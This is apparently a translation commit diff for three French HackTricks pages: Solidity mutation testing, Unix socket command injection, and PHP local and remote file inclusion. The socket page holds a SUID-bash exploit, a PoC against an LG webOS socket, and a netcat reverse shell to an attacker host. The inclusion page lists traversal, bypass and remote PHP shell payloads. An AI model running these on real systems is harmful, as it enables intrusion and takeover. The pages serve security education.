Translated ['', 'src/linux-hardening/privilege-escalation/socket-command

This commit is contained in:
Translator 2025-10-01 09:24:18 +00:00
parent 3559a392c5
commit cd25bf930a
3 changed files with 246 additions and 203 deletions

View File

@ -1,14 +1,14 @@
# Test de mutation pour Solidity avec Slither (slither-mutate)
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Le test de mutation, qui "teste vos tests", consiste à introduire systématiquement de petits changements (mutants) dans votre code Solidity et à relancer votre suite de tests. Si un test échoue, le mutant est tué. Si les tests passent toujours, le mutant survit, révélant une zone aveugle dans votre suite de tests que la couverture de lignes/de branches ne peut pas détecter.
La mutation testing « teste vos tests » en introduisant systématiquement de petits changements (mutants) dans votre code Solidity et en relançant votre suite de tests. Si un test échoue, le mutant est tué. Si les tests passent encore, le mutant survit, révélant un point aveugle dans votre suite de tests que la couverture de lignes/branches ne peut pas détecter.
Idée clé : la couverture montre que le code a été exécuté ; le test de mutation montre si le comportement est réellement vérifié.
Idée clé : la couverture montre que le code a été exécuté ; la mutation testing montre si le comportement est réellement asserté.
## Pourquoi la couverture peut être trompeuse
Considérez ce simple contrôle de seuil :
Considérez cette simple vérification de seuil :
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,39 +18,39 @@ return false;
}
}
```
Les tests unitaires qui ne vérifient qu'une valeur en dessous et une valeur au-dessus du seuil peuvent atteindre 100% de couverture ligne/branchement tout en n'assertant pas la frontière d'égalité (==). Une refactorisation en `deposit >= 2 ether` passerait toujours ces tests, cassant silencieusement la logique du protocole.
Les tests unitaires qui ne vérifient qu'une valeur en dessous et une valeur audessus du seuil peuvent atteindre 100 % de couverture de lignes/branches tout en n'assertant pas la frontière d'égalité (==). Un refactor vers `deposit >= 2 ether` passerait toujours ces tests, cassant silencieusement la logique du protocole.
Mutation testing expose cette faille en mutant la condition et en vérifiant que vos tests échouent.
Mutation testing met en évidence ce vide en modifiant la condition et en vérifiant que vos tests échouent.
## Opérateurs de mutation courants pour Solidity
## Opérateurs de mutation Solidity courants
Slithers mutation engine applique de nombreuses petites modifications changeant la sémantique, telles que :
- Remplacement d'opérateurs : `+``-`, `*``/`, etc.
- Remplacement d'affectation : `+=``=`, `-=``=`
- Remplacement de constantes : non-zéro`0`, `true``false`
- Négation/remplacement de condition à l'intérieur de `if`/boucles
- Mettre en commentaire des lignes entières (CR: Comment Replacement)
Le moteur de mutation de Slither applique de nombreuses petites modifications changeant la sémantique, telles que :
- Remplacement d'opérateur: `+``-`, `*``/`, etc.
- Remplacement d'affectation: `+=``=`, `-=``=`
- Remplacement de constantes: non nul`0`, `true``false`
- Négation/remplacement de condition dans les `if`/boucles
- Commenter des lignes entières (CR: Comment Replacement)
- Remplacer une ligne par `revert()`
- Échanges de types de données : p. ex., `int128``int64`
- Échanges de types de données : p.ex., `int128``int64`
Objectif : Éliminer 100 % des mutants générés, ou justifier les survivants par un raisonnement clair.
Objectif : éliminer 100 % des mutants générés, ou justifier les survivants avec un raisonnement clair.
## Exécution de mutation testing avec slither-mutate
## Lancer mutation testing avec slither-mutate
Prérequis : Slither v0.10.2+.
- Lister les options et les mutateurs:
- Lister les options et les mutateurs :
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Exemple Foundry (capturer les résultats et conserver un log complet):
- Exemple Foundry (capturer les résultats et conserver un journal complet):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Si vous n'utilisez pas Foundry, remplacez `--test-cmd` par la commande que vous utilisez pour exécuter les tests (par ex., `npx hardhat test`, `npm test`).
- Si vous n'utilisez pas Foundry, remplacez `--test-cmd` par la façon dont vous exécutez les tests (par ex., `npx hardhat test`, `npm test`).
Les artefacts et les rapports sont stockés dans `./mutation_campaign` par défaut. Les mutants non détectés (survivants) y sont copiés pour inspection.
Les artefacts et rapports sont stockés dans `./mutation_campaign` par défaut. Les mutants non capturés (survivants) y sont copiés pour examen.
### Comprendre la sortie
@ -59,58 +59,58 @@ Les lignes du rapport ressemblent à :
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- The tag in brackets is the mutator alias (e.g., `CR` = Remplacement de commentaire).
- `UNCAUGHT` means tests passed under the mutated behavior → assertion manquante.
- Le tag entre crochets est l'alias du mutateur (par exemple, `CR` = Comment Replacement).
- `UNCAUGHT` signifie que les tests ont réussi sous le comportement muté → assertion manquante.
## Réduire le temps d'exécution : prioriser les mutants ayant un impact
## Réduction du temps d'exécution : prioriser les mutants ayant un impact
Les campagnes de mutation peuvent prendre des heures ou des jours. Conseils pour réduire les coûts :
- Portée : commencez uniquement par les contrats/répertoires critiques, puis étendez.
- Prioriser les mutateurs : si un mutant à haute priorité sur une ligne survit (p.ex., toute la ligne commentée), vous pouvez ignorer les variantes de moindre priorité pour cette ligne.
- Parallelize tests if your runner allows it; cache dependencies/builds.
- Fail-fast : arrêtez tôt lorsqu'un changement démontre clairement un manque d'assertion.
Les campagnes de mutation peuvent durer des heures ou des jours. Conseils pour réduire le coût :
- Périmètre : commencez uniquement par les contrats/répertoires critiques, puis élargissez.
- Prioriser les mutateurs : si un mutant à haute priorité sur une ligne survit (par ex., toute la ligne commentée), vous pouvez ignorer les variantes de moindre priorité pour cette ligne.
- Parallélisez les tests si votre runner le permet ; mettez en cache les dépendances/builds.
- Fail-fast : arrêtez tôt lorsqu'un changement démontre clairement un défaut d'assertion.
## Flux de triage pour les mutants survivants
1) Inspecter la ligne mutée et le comportement.
- Reproduire localement en appliquant la ligne mutée et en exécutant un test ciblé.
1) Inspectez la ligne mutée et le comportement.
- Reproduisez localement en appliquant la ligne mutée et en exécutant un test ciblé.
2) Renforcer les tests pour affirmer l'état, pas seulement les valeurs de retour.
- Ajouter des vérifications de limites d'égalité (p.ex., test threshold `==`).
- Affirmer des post-conditions : soldes, total supply, effets d'autorisation et événements émis.
2) Renforcez les tests pour vérifier l'état, pas seulement les valeurs de retour.
- Ajoutez des checks de frontière d'égalité (par ex., test du seuil `==`).
- Affirmez les post-conditions : soldes, total supply, effets d'autorisation et événements émis.
3) Remplacer les mocks trop permissifs par un comportement réaliste.
- S'assurer que les mocks imposent les transferts, les chemins d'échec et les émissions d'événements qui se produisent on-chain.
3) Remplacez les mocks trop permissifs par un comportement réaliste.
- Assurez-vous que les mocks imposent les transferts, les chemins d'échec et les émissions d'événements qui se produisent on-chain.
4) Ajouter des invariants pour les fuzz tests.
- P.ex., conservation de la valeur, soldes non négatifs, invariants d'autorisation, monotonic supply lorsque applicable.
4) Ajoutez des invariants pour les fuzz tests.
- Ex. : conservation de la valeur, soldes non négatifs, invariants d'autorisation, monotonic supply lorsque applicable.
5) Relancer slither-mutate jusqu'à ce que les survivants soient tués ou explicitement justifiés.
5) Relancez slither-mutate jusqu'à ce que les survivants soient éliminés ou justifiés explicitement.
## Étude de cas : révéler les assertions d'état manquantes (protocole Arkis)
## Étude de cas : révélant des assertions d'état manquantes (Arkis protocol)
Une campagne de mutation lors d'un audit du protocole Arkis DeFi a fait remonter des survivants tels que :
Une campagne de mutation lors d'un audit du Arkis DeFi protocol a fait apparaître des survivants tels que :
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Le fait de commenter l'affectation n'a pas fait échouer les tests, ce qui prouve l'absence d'assertions sur l'état post-exécution. Cause racine : le code se fiait à `_cmd.value` contrôlé par l'utilisateur au lieu de valider les transferts réels de tokens. Un attaquant pouvait désynchroniser les transferts attendus et réels pour siphonner les fonds. Conséquence : risque de gravité élevée pour la solvabilité du protocole.
Le fait de commenter l'assignation n'a pas cassé les tests, ce qui prouve l'absence d'assertions post-état. Cause racine : le code faisait confiance à un `_cmd.value` contrôlé par l'utilisateur au lieu de valider les transferts réels de tokens. Un attaquant pourrait désynchroniser les transferts attendus et réels pour siphonner des fonds. Résultat : risque de gravité élevée pour la solvabilité du protocole.
Guidance : Traitez les mutants survivants qui affectent les transferts de valeur, la comptabilité ou le contrôle d'accès comme à haut risque tant qu'ils ne sont pas tués.
Conseil : Traitez les mutants survivants qui affectent les transferts de valeur, la comptabilité ou le contrôle d'accès comme à haut risque tant qu'ils ne sont pas tués.
## Practical checklist
## Checklist pratique
- Run a targeted campaign:
- Lancez une campagne ciblée :
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Trier les mutants survivants et écrire des tests/invariants qui échoueraient sous le comportement muté.
- Vérifier les soldes, l'offre (supply), les autorisations et les événements.
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Remplacer les mocks irréalistes ; simuler des modes de défaillance.
- Itérer jusqu'à ce que tous les mutants soient tués ou explicitement justifiés par des commentaires et des explications.
- Triez les mutants survivants et écrivez des tests/invariants qui échoueraient sous le comportement muté.
- Vérifiez les soldes, l'offre, les autorisations et les événements.
- Ajoutez des tests de limites (`==`, débordements/sous-dépassements, adresse nulle, montant nul, tableaux vides).
- Remplacez les mocks irréalistes ; simulez les modes de défaillance.
- Itérez jusqu'à ce que tous les mutants soient tués ou justifiés avec des commentaires et une justification.
## References
## Références
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Exemple de liaison de socket avec Python
## Exemple de Socket binding avec Python
Dans l'exemple suivant, un **socket unix est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** va être **exécuté** par `os.system`. Je sais que vous ne trouverez pas cela dans la nature, mais le but de cet exemple est de voir à quoi ressemble un code utilisant des sockets unix et comment gérer l'entrée dans le pire des cas.
Dans l'exemple suivant, un **unix socket est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** sera **exécuté** par `os.system`. Je sais que vous n'allez pas trouver ça dans la nature, mais l'objectif de cet exemple est de montrer à quoi ressemble un code utilisant des unix sockets et comment gérer l'entrée dans le pire des cas.
```python:s.py
import socket
import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram)
conn.close()
```
**Exécutez** le code en utilisant python : `python s.py` et **vérifiez comment le socket écoute** :
**Exécutez** le code avec python : `python s.py` et **vérifiez comment le socket est en écoute** :
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploitation**
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## Étude de cas : Root-owned UNIX socket signal-triggered escalation (LG webOS)
Certains daemons privilégiés exposent un root-owned UNIX socket qui accepte des entrées non fiables et associe des actions privilégiées à des thread-IDs et des signals. Si le protocole permet à un unprivileged client d'influencer quel native thread est ciblé, vous pouvez peut-être déclencher un chemin de code privilégié et escalader.
Observed pattern:
- Se connecter à un root-owned socket (e.g., /tmp/remotelogger).
- Créer un thread et obtenir son native thread id (TID).
- Envoyer le TID (packed) plus du padding en tant que requête ; recevoir un accusé de réception.
- Envoyer un signal spécifique à ce TID pour déclencher le comportement privilégié.
Minimal PoC sketch:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Pour transformer cela en root shell, un simple schéma named-pipe + nc peut être utilisé :
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Notes :
- Cette classe de bugs provient du fait de faire confiance à des valeurs dérivées de l'état client non privilégié (TIDs) et de les lier à des gestionnaires de signaux ou à de la logique privilégiée.
- Durcir en appliquant des credentials sur la socket, en validant les formats de message, et en découplant les opérations privilégiées des thread identifiers fournis depuis l'extérieur.
## Références
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## File Inclusion
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php ceci est **désactivé** par défaut (**allow_url_include**).\
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). Dans php cela est **désactivé** par défaut (**allow_url_include**).\
**Local File Inclusion (LFI):** Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier qui va être chargé par le serveur.
@ -13,21 +13,21 @@ Fonctions **PHP** vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Intéressant - fichiers LFI2RCE
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**En mélangeant plusieurs listes \*nix LFI et en ajoutant d'autres chemins, j'ai créé celle-ci :**
**En mélangeant plusieurs listes LFI \*nix et en ajoutant davantage de chemins, j'ai créé celle-ci :**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Essayez également de remplacer `/` par `\`\
Essayez également d'ajouter `../../../../../`
Essayez aussi de remplacer `/` par `\`\
Essayez aussi d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
@ -40,8 +40,8 @@ Fusion de différentes wordlists :
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Essayez également de remplacer `/` par `\`\
Essayez également de supprimer `C:/` et d'ajouter `../../../../../`
Essayez aussi de remplacer `/` par `\`\
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
@ -49,13 +49,13 @@ Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (po
Consultez la liste LFI de linux.
## Notions de base LFI et bypasses
## Basic LFI and bypasses
Tous les exemples concernent Local File Inclusion mais peuvent également être appliqués à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Tous les exemples concernent Local File Inclusion mais peuvent aussi s'appliquer à Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### séquences de traversal supprimées de manière non récursive
### traversal sequences supprimées de manière non récursive
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,43 +63,43 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Contourner l'ajout de caractères à la fin de la chaîne fournie (bypass de: $\_GET\['param']."php")
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Ceci est **résolu depuis PHP 5.4**
Ceci est **corrigé depuis PHP 5.4**
### **Encodage**
Vous pouvez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :
Vous pouvez utiliser des encodages non-standard comme le double URL encode (et autres) :
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Depuis un dossier existant
### Depuis un répertoire existant
Peut-être que le back-end vérifie le chemin du dossier :
Peut-être que le back-end vérifie le chemin du répertoire :
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Exploration des répertoires du système de fichiers sur un serveur
### Explorer les répertoires du système de fichiers d'un serveur
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à tester l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
1. **Déterminer la profondeur des répertoires :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est sous Linux). Un exemple d'URL peut être structuré comme suit, indiquant une profondeur de trois :
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Sondez les dossiers :** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 :
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
- **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
- **Erreur / Aucune sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
- **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
4. **Exploration récursive :** Les dossiers découverts peuvent être sondés plus en profondeur pour trouver des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles Local File Inclusion (LFI).
4. **Exploration récursive :** Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
```bash
@ -107,15 +107,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
La path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
Path truncation est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en bypassing certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple:
En PHP, plusieurs représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison du fonctionnement du système de fichiers. Par exemple :
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sont tous traités comme le même chemin.
- Quand les 6 derniers caractères sont `passwd`, l'ajout d'un `/` (le transformant en `passwd/`) ne change pas le fichier ciblé.
- De même, si `.php` est ajouté à un chemin (comme `shellcode.php`), l'ajout de `/.` à la fin n'altérera pas le fichier accédé.
Les exemples fournis montrent comment utiliser la path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs):
Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible fréquente en raison de son contenu sensible (informations sur les comptes utilisateur) :
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Dans ces scénarios, le nombre de traversals nécessaires peut être d'environ 2027, mais ce chiffre peut varier en fonction de la configuration du serveur.
Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- **Utilisation de dot segments et de caractères supplémentaires** : Les séquences de traversal (`../`) combinées à des dot segments et à des caractères supplémentaires peuvent être utilisées pour parcourir le système de fichiers, en neutralisant efficacement les chaînes ajoutées par le serveur.
- **Déterminer le nombre de traversals requis** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin souhaité (`/etc/passwd`).
- **Commencer par un répertoire factice** : Il est courant de commencer le chemin par un répertoire inexistant (par exemple `a/`). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d'analyse du chemin du serveur.
- **Using Dot Segments and Additional Characters**: Les séquences de traversée (`../`) combinées à des segments de points supplémentaires et à des caractères peuvent être utilisées pour naviguer dans le système de fichiers, neutralisant effectivement les chaînes ajoutées par le serveur.
- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre le répertoire racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`).
- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire non existant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse de chemin du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
**This vulnerability was corrected in PHP 5.3.**
### **Techniques de contournement de filtres**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,7 +145,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Dans php ceci est désactivé par défaut parce que **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
Dans php, cela est désactivé par défaut car **`allow_url_include`** est **Off.** Il doit être **On** pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -155,35 +155,35 @@ Si pour une raison quelconque **`allow_url_include`** est **On**, mais PHP est *
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64 cette partie ne renverra que du junk et le véritable code PHP sera inclus (et donc exécuté).
>
> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et, après le b64 decode, cette partie renverra juste des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
>
> Un autre exemple **n'utilisant pas le protocole `php://`** serait :
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Élément racine
## Python élément racine
En Python, dans un code comme celui-ci :
En python, dans un code comme celui-ci :
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Si l'utilisateur passe un **absolute path** à **`file_name`**, le **chemin précédent est simplement supprimé**:
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé** :
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
C'est le comportement prévu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
C'est le comportement prévu d'après [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jonction continue à partir du composant de chemin absolu.
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et l'assemblage se poursuit à partir du composant de chemin absolu.
## Java Liste des répertoires
## Listage des répertoires en Java
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, un **listing du répertoire est renvoyé**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produit pas dans d'autres langages (à ma connaissance).
## Top 25 paramètres
Voici la liste des 25 principaux paramètres susceptibles d'être vulnérables aux local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux local file inclusion (LFI) (d'après le [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
```
?cat={payload}
?dir={payload}
@ -211,36 +211,36 @@ Voici la liste des 25 principaux paramètres susceptibles d'être vulnérables a
?mod={payload}
?conf={payload}
```
## LFI / RFI utilisant les wrappers & protocoles PHP
## LFI / RFI utilisant les wrappers et protocoles PHP
### php://filter
PHP filters permettent d'effectuer des **opérations de modification de base sur les données** avant qu'elles ne soient lues ou écrites. Il y a 5 catégories de filtres :
Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- `string.strip_tags`: Supprime les tags des données (tout ce qui se trouve entre les caractères "<" et ">" )
- Notez que ce filtre a disparu des versions modernes de PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
- `convert.iconv.*` : Transforme vers un encodage différent(`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** supportés, exécutez dans la console : `iconv -l`
> [!WARNING]
> En abusant du filtre de conversion `convert.iconv.*` vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Compresse le contenu (utile si exfiltrating beaucoup d'informations)
- `zlib.deflate`: Compresse le contenu (utile si vous devez exfiltrer beaucoup d'informations)
- `zlib.inflate`: Décompresse les données
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsolète
- `mdecrypt.*` : Obsolète
- Other Filters
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
